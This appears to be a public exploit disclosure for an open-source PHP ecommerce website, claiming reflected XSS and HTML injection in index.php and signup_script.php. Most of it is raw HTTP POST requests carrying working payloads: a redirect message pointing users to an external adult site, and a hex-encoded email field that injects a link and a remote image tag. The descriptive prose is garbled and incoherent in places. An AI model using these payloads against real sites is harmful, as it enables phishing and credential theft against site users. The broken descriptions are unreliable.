## Title: Ecommerse-1.0 XSS-Reflected Hijack-credentials – JavaScript Injection
## Author: nu11secur1ty
## Date: 11.23.2022
## Vendor: https://github.com/winston-dsouza
## Software: https://github.com/winston-dsouza/ecommerce-website
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/winston-dsouza/ecommerce-website
## Description:
Copy the value of the eMail Request Parameter into the value
An HTML tag attribute that is enclosed in double quotation marks.
This system is very simple to hack into and can be used by an attacker to trick users.
Very dangerous link, from any location. Then the game is over.
These customers.
By using botnet computers, an attacker could also create a network.
This vulnerability.
## STATUS: HIGH Vulnerability
[+] Exploit00:
“`POST
POST /ecommerce/index.php?error=If%20you%20lose%20your%20credentials%20information,%20please%20use%20our%20recovery%20webpage%20to%20recover%20your%20account.%20https://pornhub.com
HTTP/1.1
Host: pwnedhost.com
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Safari/537.36
Connectivity: Close
Cache-Control: max-age=0
Cookie: PHPSESSID=td6bitb72h0e1nuqa4ft9q8e2f
Origin: http://pwnedhost.com
Upgrade-Insecure-Requests: 1
Referer: http://pwnedhost.com/ecommerce/index.php
Content-Type: application/x-www-form-urlencoded
Sec-CH-UA: “.Not/A)Brand”;v=”99″, “Google Chrome”;v=”107″, “Chromium”;v=”107″
Sec-CHUA-Platform for Windows
Sec-CH-UA-Mobile: ?0
Content-Length: 0
“`
## Description01:
JavaScript is possible to be embedded into an application response, making it vulnerable
app – signup_script.php, no sanitizing submit function).
An attacker could crash MySQL servers by sending POST large chunks.
This system will accept requests from the MySQL server.
CRITICAL ## STATUS: HIGH Vulnerability
## Real attack:
[+] Exploit01:
“`POST
POST /ecommerce/signup_script.php HTTP/1.1
Host: pwnedhost.com
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Safari/537.36
Connectivity: Close
Cache-Control: max-age=0
Cookie: PHPSESSID=td6bitb72h0e1nuqa4ft9q8e2f
Origin: http://pwnedhost.com
Upgrade-Insecure-Requests: 1
Referer: http://pwnedhost.com/ecommerce/index.php
Content-Type: application/x-www-form-urlencoded
Sec-CH-UA: “.Not/A)Brand”;v=”99″, “Google Chrome”;v=”107″, “Chromium”;v=”107″
Sec-CHUA-Platform for Windows
Sec-CH-UA-Mobile: ?0
Content-Length: 1070
eMail=%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%70%6f%72%6e%68%75%62%2e%63%6f%6d%2f%22%20%74%61%72%67%65%74%3d%22%5f%62%6c%61%6e%6b%22%20%72%65%6c%3d%22%6e%6f%6f%70%65%6e%65%72%20%6e%6f%66%6f%6c%6c%6f%77%20%75%67%63%22%3e%0a%3c%69%6d%67%20%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%63%64%6e%35%2d%63%61%70%72%69%6f%66%69%6c%65%73%2e%6e%65%74%64%6e%61%2d%73%73%6c%2e%63%6f%6d%2f%77%70%2d%63%6f%6e%74%65%6e%74%2f%75%70%6c%6f%61%64%73%2f%32%30%31%37%2f%30%37%2f%49%4d%47%5f%30%30%36%38%2e%67%69%66%3f%3f%74%6f%6b%65%6e%3d%47%48%53%41%54%30%41%41%41%41%41%41%42%58%57%47%53%4b%4f%48%37%4d%42%46%4c%45%4b%46%34%4d%36%59%33%59%43%59%59%4b%41%44%54%51%26%72%73%3d%31%22%20%73%74%79%6c%65%3d%22%62%6f%72%64%65%72%3a%31%70%78%20%73%6f%6c%69%64%20%62%6c%61%63%6b%3b%6d%61%78%2d%77%69%64%74%68%3a%31%30%30%25%3b%22%20%61%6c%74%3d%22%50%68%6f%74%6f%20%6f%66%20%42%79%72%6f%6e%20%42%61%79%2c%20%6f%6e%65%20%6f%66%20%41%75%73%74%72%61%6c%69%61%27%73%20%62%65%73%74%20%62%65%61%63%68%65%73%21%22%3e%0a%3c%2f%61%3e&password=s9L%21c7x%21E2&firstName=WoZykRqh&lastName=cqeMPJcJ
“`
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/winston-dsouza/ecommerce-website)
## Evidence and Exploit
[href](https://streamable.com/3r4t36)
## Real Exploit:
[href](https://streamable.com/n3b5ev)
## Real Exploit – code insert:
[href](https://streamable.com/64dmo2)
## Time spent
`1:45`
